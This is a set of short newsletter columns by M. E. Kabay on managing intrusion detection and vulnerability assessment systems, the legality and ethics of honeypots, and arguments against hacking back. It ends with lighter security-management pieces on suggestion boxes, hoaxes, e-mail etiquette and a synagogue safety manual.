IDS are software or hardware designed to automate surveillance of computers and networks. They collect and analyze records of system and network activity for evidence of security violations. IDS can be configured to detect successful intrusions such as unauthorized penetrations of security barriers; they can also detect attacks such as unsuccessful intrusions and denial-of-service attacks. In contrast, VAS are designed to look for known vulnerabilities. VAS scan computer and network security systems and compare gathered data with compilations of standards to spot weaknesses in security configurations. VAS usually run periodically and produce reports, whereas most IDS run all the time and produce alerts immediately when they notice anomalies.

VAS can be useful when new programs are installed, after significant changes are made to software or network configurations, and during or after security incidents. Both VAS and IDS fit into security management by supporting auditability; they provide information for independent reviews of system records, adequacy of security controls, and compliance with policy and procedures. Their data not only help detect previously unnoticed breaches of security but also help guide changes in security arrangements and in incident handling and recovery plans.

VAS and IDS are valuable in security management because they document existing threats and help build baseline information for improved risk analysis and risk management. IDS in particular can detect early stages of possible attacks such as port scans and probes; with appropriate response in place, such information is valuable in helping managers take immediate steps to forestall the anticipated attacks.

IDS can also supply forensic evidence useful in prosecuting crimes.

On another level, VAS can be useful in training network security staff. They can serve as an element of quality assurance, such as after installation of major operating system upgrades. However, all such applications depend on having the VAS kept up to date; out-of-date VAS will miss newly-discovered but potentially disastrous vulnerabilities and may even contribute to an unjustified and misleading confidence in inadequate security measures.

On the negative side, VAS can be used by attackers as well as by defenders. Some open-source tools are available on the Internet to anyone who wants them and can be applied, at least to some extent, against poorly defended sites to detect specific vulnerabilities that can then be exploited by attackers.

* * *

In the next short contribution on this subject, I'll look at deployment of VAS and IDS and some aspects of data analysis.

* * *

Managing VAS & IDS: Deployment

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This article is the second in a short series examining vulnerability assessment systems (VAS) and intrusion detection systems (IDS). The first article looked at fundamental concepts and terminology; this one reviews basic advice on deployment of IDS and some aspects of data analysis.

* * *

IDS sensors can be located anywhere that is interesting to attackers and to defenders. Thus one can install IDS outside the main perimeter firewall, in the demilitarized zone (DMZ) between the outer firewall and internal firewalls (the typical location of Web servers), behind internal firewalls, and inside critical subnets in a complex topology that segregates sections of the intranet from each other for security reasons.

The most important rule when installing an IDS is that you must _not_ rush the installation. You should let the system accumulate knowledge of normal usage patterns so that you can keep false alarms to a minimum. Now, defining normal behavior is not as easy as it sounds – a problem that I'm sure parents of teenagers have discovered for themselves. IDS use statistical or artificial intelligence techniques (these are not equivalent, by the way) to spot deviations from the norm; therefore, definition of the norm – what is expected, repeatable, authorized, unexceptional, and unexceptionable – becomes a critical phase in the deployment of these tools. Put another way, it is important _not_ to allow the baseline to include unexpected, rare, unauthorized, exceptional and exceptionable events into the standard data set.

Ah, but here comes a very serious problem indeed: just how are we to prevent such inclusion of nasty data if there is already criminal activity going on inside the network or if there are attacks in progress while the data are being collected? How would one know that these data were being included in the baseline? This is not a trivial problem: we're talking about a fundamental difficulty here. If we have no particular expertise in detecting attacks and that's why we are installing an IDS, then how do we tell if the baseline data are contaminated by attacks and internal shenanigans?

I think that one approach to resolving what could become an impasse – a double bind – is to hire outside experts if necessary. Use the services of a managed-security company to establish that the baseline data are in fact acceptable and safe so that the IDS is initialized with clean data. These experts will work with you to verify that you aren't setting yourselves up with the equivalent of unnoticed back doors through the IDS.

Whether you have external experts involved or handle the initialization (training) phase yourselves, expert this part of the deployment to take weeks or even months to work out the bugs. You'll not only have to let the system accumulate baseline data as explained above, but

also to refine the alarm settings to minimize both false alarms and false negatives (that is, missing real anomalies or attacks). It is appropriate during this wearing-in phase to suspend alarms so that your staff are not constantly kept on edge by erratic reports from the new system. A continuous series of false alarms could not only be disruptive to productivity but could also densitize your crew so that they simply ignore real alarms later. Finally, this period of adjustment can serve for development and refinement of the computer-emergency response team, of which more in a later column.

* * *

In the next short contribution on this subject, I'll look at some of the factors contributing to effective responses once your IDS notifies you of real attacks or security violations.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mailto:mkabay@norwich.edu >; Web site at < http://www.mekabay.com/index.htm >.

Honeypots (4):
Liability & Ethics

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Norwich University student Bob Pelletier concludes his review of the role of honeypots in intrusion detection work. In this article he looks at liability and ethical issues surrounding honeypot usage. I (Kabay) have condensed his text (with Bob's approval) to fit the format of this newsletter.

* * *

Liability

Another legal issue involving the use of honeypots is called downstream liability. Who is liable for attacks launched from a honeypot, the attacker or the owner of the system? No court rulings have been published yet that directly address this issue. Another difficulty about downstream liability is that it is decided at the state level, not the federal. This can make things difficult because downstream attacks can occur almost anywhere. Deciding if a honeypot owner will be liable for the attack is hard to predict. For the time being, it is best to properly secure a honeypot's outgoing traffic to prevent downstream attacks. This can be accomplished through such mechanisms as a firewall that properly filters outgoing traffic. Spitzner's book [1] is an excellent resource to research proper data control mechanisms and practices.

It is not uncommon for an attacker to compromise a computer system and run a FTP warez server on the machine. Who is liable for the contraband on the computer system? Once again, it is best to properly secure a honeypot's outgoing traffic to safeguard against copyright violation issues.

Ethics

Laws provide guidance but may not suffice in determining whether we ought to do certain things.[2] For example, is it ethically correct to pose a computer system as something it is not? A honeypot poses as just another vulnerable computer system, when in actuality it is a research and monitoring tool. Is this fair to the attacker or do they deserve it? As for entrapment, although this is not a legal problem, this does not mean that the way a honeypot entices attackers is not unethical. Creating a vulnerable computer system on purpose is similar to baiting an animal. The question becomes, do honeypots provoke illegal actions such as hacking? If so, are they not unethical by most standards? It is understood that recording somebody's conversations without his or her permission is usually unethical. Even if it's legal, is recording keystrokes from an IRC session taking place on a honeypot ethical? Is it ethical to create a vulnerable system that could potentially be used to harm other computer systems?

* * *

At this point, Kabay intervenes to state that in _his_ opinion, we use deception all the time in

information security [3]. For example, we do not label server rooms with signs that say "IMPORTANT VULNERABLE SERVER ROOM." Instead, we just label them, say, "E-301b." We remove operating-system identification banners from logon screens and even remove prompts from remote login dialogs to reduce the information flow to potential attackers. So I see absolutely nothing wrong at all with having a system that is clearly marked, "AUTHORIZED USERS ONLY" that is used a honeypot. If thieves break into my home despite the PRIVATE PROPERTY –NO TRESPASSING signs and I have cameras to track their movements so I can help put them in jail, I have no sympathy for whines of dismay about my having invaded their privacy. They want privacy, they can stay out of my computer systems.

I hope everyone understands that the rant in the paragraph above is purely Mich Kabay's and that no blame for this red-neck arrogance can be assigned to Bob Pelletier.

Managing VAS & IDS:
Response

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This article is the third in a short series examining vulnerability assessment systems (VAS) and intrusion detection systems (IDS). The first article looked at fundamental concepts and terminology; the second reviewed basic advice on deployment of IDS and some aspects of data analysis; this one looks at response strategies.

* * *

Responses to intrusion alerts from IDS can be passive, active or investigative. The IDS can simply announce that there's a problem and let the users handle the trouble; the IDS produces reports. A more active response still includes human intervention, but the IDS can facilitate a range of actions such as collecting more detailed information about the intrusion or attack; changing the environment to make the attack less likely to succeed; or even (and this is not a good idea) to enable counterstrikes (hack-back) against the perceived attackers.

Automated responses are potentially powerful and therefore potentially dangerous. In the first place, there's always a danger that any automated system will be misused by people who assume that they don't need to tune the parameters to fit their own requirements. These are the folks who install factory defaults on their firewalls and IDS without even reading the instruction manuals to verify that the defaults actually do something. I remember that in the early days of the old NCSA's Firewall Product Developers' Consortium, we hammered away at the concept that default settings on security products should actually provide reasonable security if we were expected to certify the products as having value. At that time (the early 1990s), some firewall default installations resulted in a bandwidth reduction device: the default settings for the firewall didn't actually do very much except put an upper limit on the bandwidth of the communications channel where it was installed.

The second danger from automated responses is that they can sometimes be abused by attackers to create denial-of-service attacks. The classic example of how a well-intended security policy can easily be subverted is the automatic inactivation of accounts when there are more than a critical number of bad passwords supplied in a sequence (e.g., six bad passwords in a row). Some system managers configure their security parameters to lock the account in question automatically and require an administrator to reset the password or the account to allow access. Sounds good – online password crackers cannot possibly achieve their goals with only six (or whatever small number one wants) tries per account.

No, they may not be able to penetrate the system, but they sure can shut it down.

The attack need merely obtain (or guess at) a list of valid account names and then give each account a bad password enough times and the entire system can be locked up. And woe betide the system administrator who allows the automatic lockout to apply to the root user as well: then

you can _really_ have headaches.

By the way, the same goal – slowing down automated online password cracking – can be achieved simply by introducing a modest delay (e.g., a few minutes) after the magic number of bad passwords. True, it is possible to inactivate lots of accounts by bombarding the system with fraudulent logons under such a regime, but it's much harder to lock it up completely.

So back to IDS and automated responses: some systems are available today that provide active response to attacks. They not only alert system administrators to attack, they actually deflect attacks before the firewalls can become overloaded. This is a good thing, but one should nonetheless monitor the activity carefully. An attacker could, for example, spoof the originating IP addresses in the flood of attack packets and thus cause the IDS to begin rejecting _legitimate_ traffic from specific origins. This might be a minor consideration on an e-commerce site with public utilization, but it could be a disaster for a controlled trading network (an extranet) forming the basis for tightly-coupled supply-chain management or customer-relationship management.

Again, to be sure I'm not being misunderstood (and to avoid angry messages from offended vendors): automated response tools are good – they should simply not be allowed to function unsupervised for extended periods. A human being should take action to understand what's happening as soon as there's an alarm from the IDS to prevent manipulation of the responses that could turn them into self-inflicted denial of service.

* * *

In the next short contribution on this subject, I'll look at the human side of response to IDS alarms.

* * *

Managing VAS & IDS:
Don't Hack Back

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This article is the fourth in a short series examining vulnerability assessment systems (VAS) and intrusion detection systems (IDS). In the preceding article, I looked at some aspects of responding to IDS alerts. In this article, I summarize some of arguments against retaliation when your computer systems are attacked.

* * *

There's a long-standing debate, mostly underground and informal, about how satisfying it would be to strike back at criminal hackers, industrial spies, saboteurs and other baddies who have the nerve to attack our systems. People have speculated about counter-flooding, using buffer-overflow attacks, sending "explosive" HTML code that could cause system freezes, and so on. Much of this talk is really just good-natured fun – more along the lines of "wouldn't it be nice if" than actually serious proposals for corporate responses. But to be absolutely sure that all of the readers of this column, at least, have a chance to think about it, let me flatly state that any such counterattacks are to be formally forbidden by corporate policy.

Firstly, although I am not a lawyer and this is not legal advice (for legal advice, consult an attorney with appropriate expertise), as far as I know, there is absolutely no waiver in US law which would exculpate anyone who gains unauthorized access to other people's computer systems. In particular, the Computer Fraud and Abuse Act of 1986 (18 USC §1030), the Unlawful Access to Stored Communications Act (18 USC §2701), and the Electronic Communications Privacy Act of 1986 (18 USC §§1367, 2232, 2510 and several other sections) do not make any allowance for revenge attacks. Investigation of such crimes (the revenge attacks) could involve seizure of equipment as evidence.

Secondly, because IPv4 provides inadequate authentication of packets, it is difficult or impossible to prove the exact origin of denial-of-service attack packets or even of packet streams used in attack sessions. Attacking the wrong target would be an unmitigated disaster.

Thirdly, many attackers subvert poorly-secured intermediary systems to launch their attacks; attacking these hosts would damage other victims but cause no direct harm to the real attackers.

Fourthly, unauthorized penetration of anyone's computer systems and networks can lead to civil lawsuits for damages; even if the lawsuits are unsuccessful, they can rack up expensive attorneys' fees and also cause expensive computer equipment to be seized as evidence under subpoena.

No, although it might seem like a satisfying tactic that would be the geek equivalent of innumerable Steven Seagal and Jean-Claude Van Damme movies, trying to strike back at attackers through illegal means is a thoroughly bad idea.

* * *

In the next short contribution on this subject, I'll look at how you can prepare for an effective response IDS alarms.

Managing VAS & IDS:
Response Team

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This article is the fifth in a short series examining vulnerability assessment systems (VAS) and intrusion detection systems (IDS). In this article, I summarize some of the issues in setting up a computer-emergency quick-response team (CERT).

* * *

As most people realize, emergencies are not conducive to clear-headed analysis and planning. When seconds count, it's hard to weigh options rationally, discuss alternatives coolly, run simulations and make the best available judgement. Far better is to plan for emergencies with plenty of time and practice so that response during the emergencies themselves can be fast, effective and efficient.

The CERT needs to analyze the types of attacks and targets most likely to be significant to their own organization. The goal of the planning is to minimize damage and to maximize the options for flexible response. For example, it should be possible to decide quickly whether to

* shut off access to the services (or the systems) under attack; or
* observe the attack for purposes of learning and future security improvements; or
* gather evidence for possible prosecution.

Creating a CERT is a complex process that must involve people from throughout the organization. In particular, in addition to the technical staff that one would naturally see in such a team, the CERT should include experts from the human resources department, the public relations group, and from the corporate counsel's office:

* Computer emergencies can require instant access to personnel records if an insider attack is discovered.

* There may be repercussions if information is leaked to the media or if rumors start spreading about an attack.

* It may be necessary to gather evidence and keep a careful chain of custody over it for civil lawsuits or for liaison with law enforcement authorities if criminal prosecutions are anticipated.

Chain of custody requirements demand that there be credible reason to trust the evidence presented in court. Therefore, all evidence – especially digital evidence, which is potentially changeable – must be safeguarded with visible and verifiable measures to prevent loss and tampering. For example, CERT investigators should ensure that data gathering is performed by at least two people at all times. These investigators should keep meticulous records of all their actions showing who did what when and should sign such records (physically if on paper – and

use a bound log book with numbered pages while you're at it – and digitally if in electronic notes). All records should be safeguarded using bit-for-bit images copied onto CD-ROMs (not CD-RW media) and stored securely under lock and key with two signatures required for release of the evidence.

* * *

In the next articles in this series, I'll be publishing some excellent work by one of my students looking at the legal and ethical aspects of honeypots in conjunction with IDS.

Honeypots (1): Introduction

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In recent weeks, we've been looking at managing vulnerability assessment systems and intrusion detection systems. Norwich University undergraduate student Bob Pelletier is doing some interesting research work on honeypots in the IS406C independent study program with me this term in which he is building a working honeypot system using virtual machines. He did some good background reading about honeypots in the IS340 Intro to Information Assurance and CJ341 Cyberlaw and Cybercrime courses; he has very kindly allowed me to publish his work here as part of the ongoing series. As usual, I've made some minor edits for the new context, but all of the following is Bob's own writing.

* * *

With the growing use of computers in today's society, the protection of information has become of key importance. Malicious hackers (*blackhats*) continuously try to breach security measures to gain access to protected information. Some blackhats attack computers for fun but others are truly criminals seeking personal gain. The security community is faced with the daunting task of fending off computer attackers and ensuring the confidentiality, integrity, availability, control, authenticity and utility of information. To help better understand the methods used by the blackhat community, a new tool has been developed: the *honeypot*. The use of honeypots has caused a heated debate within the security field. Many question the legality and ethics of such a system. This series of articles outlines the basic legal issues surrounding honeypots as well as some ethical issues to ponder.

A honeypot is any system designed for the sole purpose of being exploited. This is a broad definition that can be implemented in many ways. Some honeypot systems use software, some use actual production machines, and some even use virtual machines such as with VMware. Whichever honeypot design method is chosen, the underlying goal is to create a system that appears to be vulnerable.

What makes a honeypot different from other vulnerable computer systems is its extensive logging capability. The systems most often include at least four layers of logging to capture attacker activity. Every file accessed, every connection made, every keystroke an attacker makes on a honeypot is logged to a secure location. The advantage of logging attacker activity is the chance to get an inside view of the blackhat community's methodology. Learning common methods and attack tools of attackers can aid security experts in designing new protection measures. Studying attack trends can also help predict future attacks. The *Honeynet Project* founded by Lance Spitzner demonstrates the usefulness of honeypots as a research tool.

Honeypots are not only used for research purposes, but also for production. Implementing a honeypot within a company can create a type of intrusion detection system (IDS). The design of a honeypot suggests that any connection attempts made with the system are unauthorized. This is because normal business functions do not use the honeypot; only an attacker would be

attempting to use the system. Therefore, activity on a honeypot can alert an organization that an attacker is present. From there a company can close the security hole used by the attacker, investigate the incident, and possibly press charges.

* * *

In the next articles in this series, Bob Pelletier (mailto:pelletib@norwich.edu) looks at some of the legal issues surrounding the use of honeypots.

Honeypots (2): Entrapment?

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Norwich University student Bob Pelletier continues his review of the role of honeypots in intrusion detection work. In this article he looks at fears that using honeypots might constitute entrapment. I (Kabay) have made minor editorial changes to his text to fit the format of this newsletter.

* * *

There are many benefits of using honeypots and they are therefore becoming commonplace in many security strategies. However, there are legal issues associated with honeypot technologies. I am not a lawyer and what follows is not legal advice and should not be the sole basis for readers' decisions in this matter. It is best to consult a lawyer qualified in this area of practice before implementing a honeypot. Many factors dictate whether the use of a honeypot is legal or illegal. These articles do not cover all of these factors, but they do explain precautions that can be taken before implementing a honeypot so that you can comply with applicable federal laws of the United States.

The first step to insure the legality of a honeypot is to define the goal of the system. Create policies that will outline exactly what information is going to be collected and to what end. There should be no misconceptions about what a honeypot system is being implemented for. Being upfront with the purpose of a honeypot can defuse accusations of secrecy or trickery. This is especially important in a production atmosphere where corporate policies need to be followed. A system banner should also be installed on the honeypot stating that users of the system may be monitored. As will be discussed later, this can eliminate charges of entrapment. Refer to Appendix A of *Searching and Seizing Computers and Obtaining Electronic Evidence in criminal Investigations* created by the Department of Justice for sample banners. [1]

The next step that should be taken before implementing a honeypot is to research the laws and regulations in the particular location the system will be installed. Different countries and even different states will treat honeypots in a different manner. These subtle differences must be studied and understood. Many laws may govern honeypot use, but these articles will cover three general legal issues associated with honeypots. These three categories are entrapment, privacy and liability.

Opponents of honeypot systems often claim that they are a form of entrapment. Entrapment is legally defined as "the conception and planning of an offense by an officer, and his procurement of its commission by one who would not have perpetrated it except for the trickery, persuasion, or fraud of the officers." [2] This definition implies that a victim of entrapment must be tricked or persuaded to do something that he or she would not have normally done. Honeypots do not persuade attackers to take action against them. The systems are most often discovered through scans by blackhats. In this case, the attacker is taking initiative to find a vulnerable system so therefore cannot claim entrapment after the fact. Some will argue that an attacker would not

have exploited a honeypot if it were not there to begin with. However, providing a target for a crime is not the same as encouraging one.

Another hole in the entrapment argument is that it applies only to officers of the law. Private honeypot owners will not be prosecuted with entrapment because they are acting independently of the government. Government agencies and those affiliated with the law can be convicted of entrapment, but only if they encourage attacks as mentioned earlier. Proving an attacker's disposition to hacking can eliminate most entrapment accusations.

* * *

In the next article in this series, Bob Pelletier (mailto:pelletib@norwich.edu) looks at the privacy issues involved in using honeypots.

Honeypots (3):
Privacy

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Norwich University student Bob Pelletier continues his review of the role of honeypots in intrusion detection work. In this article he looks at privacy issues surrounding honeypot usage. I (Kabay) have condensed his text (with Bob's approval) to fit the format of this newsletter.

* * *

Honeypots are under fire for potentially invading two types of user privacy:

* Information privacy protects stored information about an individual [1]. Honeypots are designed with in-depth logging systems that have the ability to capture large amounts of information on its users.

* Communication privacy protects communications by telephone, e-mail and so on. Honeypots are usually set to intercept communication going to and from the system through the use of sniffers and firewalls. Any infringements of these two privacy categories can get the owner of a honeypot in legal troubles.

The governing laws of the honeypot's location should be reviewed to determine any infringements of the legal definition of privacy. This paper focuses primarily on the governing laws of the United States and other resources should be sought if a honeypot is not within US borders.

One concern that is based on misunderstanding is Fourth Amendment rights. The Fourth Amendment of the US Constitution asserts that "the right of the people to be secure in their persons, houses, papers and effects, against unreasonable search and seizures, shall not be violated."[2] However, this amendment protects the privacy of individuals from _government_ intrusions. As with entrapment, the private owner of a honeypot is not affected by the Fourth Amendment. As long as they are not acting as government agents, private honeypot owners have the right to search their own systems.

Government agencies and those affiliated with or under the direction of government agencies should include a login-banner that states that privacy protections must be waived when using the system. Take note that a banner is not always affective. For instance, what if an attacker bypasses the login screen containing the consent banner or what if the attacker does not speak the same language the banner is written in?[3] In any case, it is still a good safety measure to include login-banners on all honeypot systems.

Other federal US statutes that are discussed in connection with privacy rights and honeypots include the

* Electronic Communications Privacy Act of 1986 (ECPA: 18 U.S.C. §§ 2701-12)

* Federal Wiretap Statute (18 U.S.C §§ 2510-22)

* Pen Register Trap and Trace Statute (18 U.S.C. §§ 3121-3127) [4].

None of these pose any serious bar to private use of honeypots when used for serious information security purposes. Nonetheless, one should always rely on a qualified attorney to refer to applicable privacy statutes in one's own jurisdiction when implementing a honeypot to ensure that it will be operating within legal limits.

* * *

In the next article, Bob Pelletier (mailto:pelletib@norwich.edu) looks at ethical issues in the use of honeypots.

* * *

INFOSEC Suggestion Boxes

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In previous columns, I have mentioned the applicability of management by objective and management by walking around. It seems to me that another interdisciplinary perspective is that the venerable suggestion box, perhaps in a new electronic guise, can play a valuable role in information security improvements.

John Gehl and Suzanne Gehl edit a useful and concise newsletter called INNOVATION that reviews information technology & technology-management developments.

Recently, they summarized an article about intranet-based suggestion boxes. For example, they write, " ...Bristol-Myers Squibb... invited its 30,000 employees to submit their ideas for innovation -- and received ... more than 5,000 ideas .... with new ideas for generating revenue, improving marketing, cutting costs and refining processes ... [resulting] in a million-dollar increase in revenue within one year of the suggestion system's implementation."

One of the best ways of increasing compliance with any policy is to involve people in adapting policy to their experiences and needs. A physical or electronic suggestion box is potentially an excellent tool for increasing involvement in security policies and their improvement.

At one company I visited years ago, employees who made money-saving or money-making suggestions were celebrated at the end of the year and the savings or increased earnings resulting from their ideas were posted in the factory along with pictures of the big checks (I remember one for $25,000) the individual employees had received as their share of the accrued benefits.

Because putting precise financial value on information assurance is impossible, it is not likely that those who offer particularly good suggestions are going to be up for financial prizes like the employees in the factory described above. However, it is certainly possible to thank people for their suggestions and even to make a fuss over those who have contributed especially insightful ideas with visible effects for improving security.

In summary, I think it's worth the minor effort involved in implementing a security suggestion box and encourage readers to try this idea.

Next year I will remind readers to send me their impressions of whether the experiment had any benefit for their organizations and will report on the findings.

* * *

See http://www.newsscan.com for more information about INNOVATION.

Purportal.com:
Useful Anti-Hoax Info

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

We all fight hoaxes day after day; Aunt Betty wants us to know about the free money Microsoft will give us for forwarding some years-old undated chain letter and Uncle Ralph is terrified of needles in movie theater seats. Friend Yetta has just deleted yet another component of Windows or Java in response to a letter from Uncle Ralph and is writing to Aunt Betty about never flashing headlights at cars driving with their lights off on a freeway.

Sigh.

One of my colleagues recently pointed me to an excellent Web site that can help us train our relatives – and our employees – to check facts before they spread misinformation. Purportal.com has search-engine fields for two different Urban Legends sites, the Computer Incident Advisory Capability (CIAC) Hoax database at the Lawrence Livermore National Laboratory of the US Department of Energy, the Computer Emergency Response Team Coordination Center (CERT/CC) at Carnegie Mellon University and the Symantec Virus Encyclopedia.

In addition, the site offers a Rich Site Summary (RSS) field for search engines to extract information for other sites to link into it easily and some special reports on hot topics; when I visited, they included details on the Nigerian 4-1-9 Scam and 9/11 hoaxes.

The headlines were a few days old but useful nonetheless and included links to the full original articles.

The section entitled "Handy and Edifying Links" seems to have a long list of interesting and helpful sites about a wide range of topics centering on frauds and hoaxes. I particularly enjoyed the link to the NASA responses to, ah, claims that they faked the moon landings.

In summary, this site is easy to use, clearly laid out, and helpful in the battle against fraud and nonsense. I recommend that you add it to the resources that you offer your colleagues as part of the effort to bring security into their field of view. Remember, helping employees protect themselves and their families against Internet-mediated harm is an excellent way of accustoming them to thinking about security.

And it might just actually help fight the Bad Guys a bit.

Burying Your E-Mail Message

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

As the end of the semester rolled around at Norwich University, my special-topics students were busily sending their examining committees their final reports. One lad – let's call him "Albert Baker" – noted that he was re-sending his report because one of his examiners mentioned that he hadn't received it; the student apologized for possible duplicates.

I responded that I hadn't seen it either.

An hour later, I opened an e-mail message from a sender I didn't recognize; albert@biepald.com (all names and addresses have been changed to nonexistent ones). The topic was "C'est fini" or "it's done" in French. I had left this message in my in-basket for some time because I always open messages with obvious subject lines and from people I know before dealing with reader correspondence, messages from strangers, or possible junk e-mail.

The mysterious message turned out to be from Albert and included the missing report. Had he sent it from his Norwich account, which would be bakera@norwich.edu, or at least included his real name, I would have opened it sooner. Had he used a meaningful subject line, such as "IS406 Final Report," it wouldn't have sat there unopened for so long.

This incident got me thinking about the current overload of e-mail that so many of us are suffering and what it means for effective use of this communications channel.

From a security standpoint, sending e-mail that doesn't get opened is a breach of security: it violates the principle of utility. What's the use of sending a message that gets ignored? Or at least, that gets ignored longer than it should? That slowdown could be viewed as a breach of availability of the message.

So here are some simple suggestions that you can circulate among your colleagues in your next newsletter to help improve the usefulness and timeliness of e-mail that matters – by which I mean e-mail that is work-related and needs a response:

1) Configure your e-mail client to include your real name, not a blank or a pseudonym. Your e-mail address can be anything you like; just be sure that you don't send people e-mail whose only identifier is something like bob123@genericemail.net .

2) Use a meaningful subject line. Don't be cute: "Something sweet for you" is more likely to be dumped in the spam/porn receptacle than opened in these days of swarming unwanted e-mail.

3) Don't use the FORWARD or REPLY function of your e-mail to start a completely new topic. Especially if the topic you've been discussing is low priority and your subject line just continues using that string instead of indicating a new, more important topic, don't be surprised if some of your recipients assign low priority to your new message, too. It can be disconcerting to open a message apparently discussing, say, "Refund policy for out-of-town expenses" and discover that

it's actually dealing with what should have been labeled, "Emergency faculty meeting called for 15:00 today" – especially when you open the message the day after the meeting.

4) Be modest: not everything you say or find interesting is worth sending to everyone you know. Contrary to the apparent belief of some egoists, their colleagues do not in fact sing Sting's "Every breath you take" song as they wait expectantly for the next "Me too" or "Yeah! Right on! You go, girl!" comment appended to 12 pages of copies of copies of copies of some two-week old message they've already seen 32 times. Send too much junk and all your mail will be relegated to the virtual dust bin.

This last point bears a little elaboration. At one point, someone in my University decided to send the entire faculty a "Thought for the Day" consisting of some cute quotation. Well, I pretty quickly added that person's e-mail address to my "PLACE IN JUNK E-MAIL FOLDER" filter. Unfortunately, the same person was responsible for sending out faculty notices that really did matter, so I ended up having to check all this rubbish anyway. Someone must have complained, because the junk did eventually stop.

OK, now if this were junk e-mail, it would end "SEND THIS TO EVERYONE YOU KNOW!!!!"

But it isn't (I hope).

Anti-Terrorism Manual Online

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

I recently volunteered to help the House Committee at my synagogue by doing a security evaluation of the building where I celebrate the Sabbath every Saturday morning. To avoid having to rewrite basic concepts of facilities security and emergency preparedness for the Committee, I provided them with the superb manual called _Keeping Your Jewish Institution Safe – Online Edition_ from the Anti-Defamation League Web site. This document has to be one of the best-written short summaries of institutional emergency preparedness I've ever found. As I reread it in preparation for my walkabout at the synagogue, it occurred to me that, like Jewish rye, kosher hot dogs and Yiddish expressions (Oy!), the work may be appreciated and used by non-Jews.

Available as an Acrobat PDF file from < http://www.adl.org/security/safe.pdf >, the 85 page pamphlet has the following structure:

I am particularly pleased with the emphasis on planning; for example,

>Creating secure Jewish communal institutions must include the design of a security plan. A sound security plan will leave an institution better able to thwart and, if necessary, recover from, a security breach. Remember: the best way to protect your institution is to prepare for and prevent an incident's occurrence in the first place.<

The writers correctly identify the need for risk management and corporate culture of security:

>Professionals and leadership should assess the risks and realities of the institution to develop a security plan, seeking professional guidance if necessary. Of course, not all institutions run the same risk, but all run some risk. Most critically, leaders must make sure that security is part of an institution's culture . . . . At the very least, input on security should be sought from all staff (not only is their "buy-in" essential for a smoothly running plan, but they are also important "eyes and ears"). When planning or participating in events, everyone – ranging from the Board President to the custodial staff – must think security."<

Throughout the text, the authors insist that they are not providing a recipe book but rather a set of guidelines that must be adapted to the particular needs of specific institutions. I think that readers of this column will find it a helpful document in writing their own overviews for management and I hope you will take a look at it to see if you concur.

I will end, unusually, with a joke – one of my favorite jokes from shul (synagogue). A great flood was announced in a river town, and trucks with loudspeakers on the roof moved through the streets announcing that there were about 36 hours until a 15-foot rise in the water level. The townsfolk began sand-bagging their foundations and nailing boards over their windows – all except Shmuel (Samuel), who sat idly by watching his neighbors with amusement. "Nu, Shmuel, what gives? Why aren't you getting ready to go?." Shmuel laughed and said, "Baruch Hashem (Blessed be the Lord), I don't have to worry about floods. The Lord will save me." So the next day, the water began to rise, and volunteers in boats came through the streets to help anyone stranded. They found Shmuel looking out of his second-floor windows and shouted, "We'll save you! Come down this ladder!" Shmuel laughed and said, "Baruch Hashem, I don't have to worry about floods. The Lord will save me." Within a few more hours, the water was up to the second floor and Shmuel was on the roof. A helicopter flew overhead and the brave rescue team shouted down, "Take this rope ladder up and we'll save you!" But Shmuel laughed again and said, "Baruch Hashem, I don't have to worry about floods. The Lord will save me."

He drowned.

When he met his Maker, he asked tearfully, "Adonai (G-d), how could you do this to me? I believed in you with all my heart!" And the Lord snapped, "Look, Shmuel, first I sent you the truck, then I sent you the boat, and finally I sent you the helicopter. What more could you want??"

Shalom.

Look for the _Computer Security Handbook, 4th Edition_ edited by Seymour Bosworth and Michel E. Kabay; Wiley (New York), ISBN 0-4714-1258-9. Available now at your technical bookstore or from Amazon at: < http://www.amazon.com/exec/obidos/ASIN/0471412589/tag=fusion0e >

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mailto:mkabay@norwich.edu >; Web site at < http://www.mekabay.com/index.htm >.

Good Intentions

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

According to a recent news summary in _Innovation_, biometric technology is advancing rapidly enough that we can expect to see mobile phones that will enforce sensible security rules. John Gehl and Suzanne Douglas wrote, "Two scientists at Carnegie Mellon University are developing technology that one day may be capable of sensing when you're just too busy to take a phone call. The technology uses tiny microchips, cameras and sensors to analyze body language in order to determine whether a person is engrossed in a task. Pounding away at a computer keyboard, closing your office door, or conversing animatedly with another person would all serve as possible indicators that a person is too occupied to take a call."

This kind of automated interpretation of human motivation and intentions sends shivers up my spine. The potential for error and abuse is limitless. We have already seen countless examples of assumptions made by system designers turning out to be faulty; my favorite is the Windows Update, which by design has no user controls over it at all. Once activated, it – like the sorcerer's apprentice's brooms – cannot be shut off or even slowed down in its relentless, 12-times-an-hour checking for Windows updates. Once it's been set in motion, the only way to control the Update is to remove the software entirely.

Well, imagine the innumerable situations in which the tiny microchips, cameras and sensors could make a mistake in analyzing human needs. Let's start with controlling cellular phone abuse. Can't you just imagine someone designing a feature in mobile phones that whispers in the earpiece, "Lower your voice -- you are talking too loudly in public about corporate information." Then the phone shuts off if you ignore it – right in the middle of a critical discussion of response to a potentially disastrous breach of security at the corporate data center.

